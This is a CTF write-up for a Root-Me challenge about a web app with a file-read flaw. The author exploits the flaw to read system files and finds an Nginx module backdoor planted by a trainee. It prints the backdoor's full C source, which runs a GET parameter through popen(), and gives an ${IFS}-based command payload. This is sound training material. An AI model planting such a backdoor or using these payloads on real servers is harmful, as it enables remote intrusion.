Home [CTF20K Root-Me] - Trainee Trainee
Post
Cancel

[CTF20K Root-Me] - Trainee Trainee


Your trainee made a final commit on the last day of his course, and since then you’ve seen a huge influx of requests. Strangely, you can no longer connect to the server … Can you analyse what’s going on?




Table of contents:




Web App

The web application consists of a page requesting a file path.

2

Local File Inclusion

We can check for the presence of a filter by attempting to retrieve the contents of /etc/passwd.

2

Apparently, no filter is applied. The previous request also allows us to determine that the server is an Nginx version 1.24.0. The idea would therefore be to try to retrieve the configuration file /etc/nginx/nginx.conf.

2

The configuration file allows us to discover the presence of a secret endpoint and a backdoor on the server.

/usr/local/src/root-me-backdoor/ngx_http_root_me_backdoor_module.c :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#include <ngx_config.h>
#include <ngx_core.h>
#include <ngx_http.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct {
    ngx_flag_t backdoor;
} ngx_http_root_me_backdoor_conf_t;

static char *ngx_http_root_me_backdoor(ngx_conf_t *cf, ngx_command_t *cmd, void *conf);
static ngx_int_t ngx_http_root_me_backdoor_handler(ngx_http_request_t *r);
static void *ngx_http_root_me_backdoor_create_conf(ngx_conf_t *cf);
static char *ngx_http_root_me_backdoor_merge_conf(ngx_conf_t *cf, void *parent, void *child);

static ngx_command_t ngx_http_root_me_backdoor_commands[] = {
    { ngx_string("root_me_backdoor"),
      NGX_HTTP_LOC_CONF | NGX_CONF_FLAG,
      ngx_http_root_me_backdoor,
      NGX_HTTP_LOC_CONF_OFFSET,
      offsetof(ngx_http_root_me_backdoor_conf_t, backdoor),
      NULL },
    ngx_null_command
};

static ngx_http_module_t ngx_http_root_me_backdoor_module_ctx = {
    NULL,                                  /* preconfiguration */
    NULL,                                  /* postconfiguration */
    NULL,                                  /* create main configuration */
    NULL,                                  /* init main configuration */
    NULL,                                  /* create server configuration */
    NULL,                                  /* merge server configuration */
    ngx_http_root_me_backdoor_create_conf, /* create location configuration */
    ngx_http_root_me_backdoor_merge_conf   /* merge location configuration */
};

ngx_module_t ngx_http_root_me_backdoor_module = {
    NGX_MODULE_V1,
    &ngx_http_root_me_backdoor_module_ctx, /* module context */
    ngx_http_root_me_backdoor_commands,    /* module directives */
    NGX_HTTP_MODULE,                       /* module type */
    NULL,                                  /* init master */
    NULL,                                  /* init module */
    NULL,                                  /* init process */
    NULL,                                  /* init thread */
    NULL,                                  /* exit thread */
    NULL,                                  /* exit process */
    NULL,                                  /* exit master */
    NGX_MODULE_V1_PADDING
};

static void *ngx_http_root_me_backdoor_create_conf(ngx_conf_t *cf) {
    ngx_http_root_me_backdoor_conf_t *conf;

    conf = ngx_pcalloc(cf->pool, sizeof(ngx_http_root_me_backdoor_conf_t));
    if (conf == NULL) {
        return NGX_CONF_ERROR;
    }

    conf->backdoor = NGX_CONF_UNSET;
    return conf;
}

static char *ngx_http_root_me_backdoor_merge_conf(ngx_conf_t *cf, void *parent, void *child) {
    ngx_http_root_me_backdoor_conf_t *prev = parent;
    ngx_http_root_me_backdoor_conf_t *conf = child;

    ngx_conf_merge_value(conf->backdoor, prev->backdoor, 0);
    return NGX_CONF_OK;
}

static char *ngx_http_root_me_backdoor(ngx_conf_t *cf, ngx_command_t *cmd, void *conf) {
    ngx_http_core_loc_conf_t *clcf;

    clcf = ngx_http_conf_get_module_loc_conf(cf, ngx_http_core_module);
    clcf->handler = ngx_http_root_me_backdoor_handler;

    ngx_conf_set_flag_slot(cf, cmd, conf);
    return NGX_CONF_OK;
}

static ngx_int_t ngx_http_root_me_backdoor_handler(ngx_http_request_t *r) {
    ngx_http_root_me_backdoor_conf_t *conf;
    conf = ngx_http_get_module_loc_conf(r, ngx_http_root_me_backdoor_module);

    if (!conf->backdoor) {
        return NGX_DECLINED;
    }

    if (r->method != NGX_HTTP_GET) {
        return NGX_HTTP_NOT_ALLOWED;
    }

    ngx_str_t param_name = ngx_string("r00t-m3.backd0or");
    ngx_str_t param_value;

    if (ngx_http_arg(r, param_name.data, param_name.len, &param_value) != NGX_OK) {
        return NGX_HTTP_BAD_REQUEST;
    }

    char *command = (char *) ngx_pnalloc(r->pool, param_value.len + 1);
    if (command == NULL) {
        return NGX_HTTP_INTERNAL_SERVER_ERROR;
    }

    ngx_memcpy(command, param_value.data, param_value.len);
    command[param_value.len] = '\0';

    FILE *fp;
    char result[1024];
    fp = popen(command, "r");
    if (fp == NULL) {
        return NGX_HTTP_INTERNAL_SERVER_ERROR;
    }

    ngx_str_t response;
    response.data = (u_char *) ngx_pcalloc(r->pool, sizeof(result));
    if (fgets(result, sizeof(result), fp) != NULL) {
        ngx_memcpy(response.data, result, ngx_strlen(result));
        response.len = ngx_strlen(result);
    } else {
        response.len = 0;
    }
    pclose(fp);

    ngx_buf_t *b;
    ngx_chain_t out;

    r->headers_out.status = NGX_HTTP_OK;
    r->headers_out.content_length_n = response.len;
    r->headers_out.content_type.len = sizeof("text/plain") - 1;
    r->headers_out.content_type.data = (u_char *) "text/plain";

    b = ngx_pcalloc(r->pool, sizeof(ngx_buf_t));
    out.buf = b;
    out.next = NULL;

    b->pos = response.data;
    b->last = response.data + response.len;
    b->memory = 1;
    b->last_buf = 1;

    ngx_http_send_header(r);
    return ngx_http_output_filter(r, &out);
}

Remote Code Execution

Concretely, the backdoor allows us to remotely execute system commands via the GET parameter r00t-m3.backd0or from the endpoint /Th1s_3ndp0int_1s_S3cr3t.

I first tried the following commands:

1
2
ls -la
ls%20-la

However, I encountered a timeout. Spaces can cause parsing errors in the popen() function. I therefore replaced the spaces with ${IFS}.

Another issue is that the Nginx module likely limits the size of the HTTP response. Indeed, when I send ls${IFS}-la, I only receive the first line of the result:

2

I finally managed to solve the problem by adding the sed command to retrieve the i-th line of the result. I automated this using Burp’s Intruder function and noticed a folder containing the flag at the root of the server:

2

Payload: ls${IFS}-la${IFS}/${IFS}|${IFS}sed${IFS}-n${IFS}10p

Flag

All that remains is to read the file from the main page of the app:

2

🚩 RM{My_Tr4inee_B4ckd00r_My_Ng1nx}

Thanks for reading !

This post is licensed under CC BY 4.0 by the author.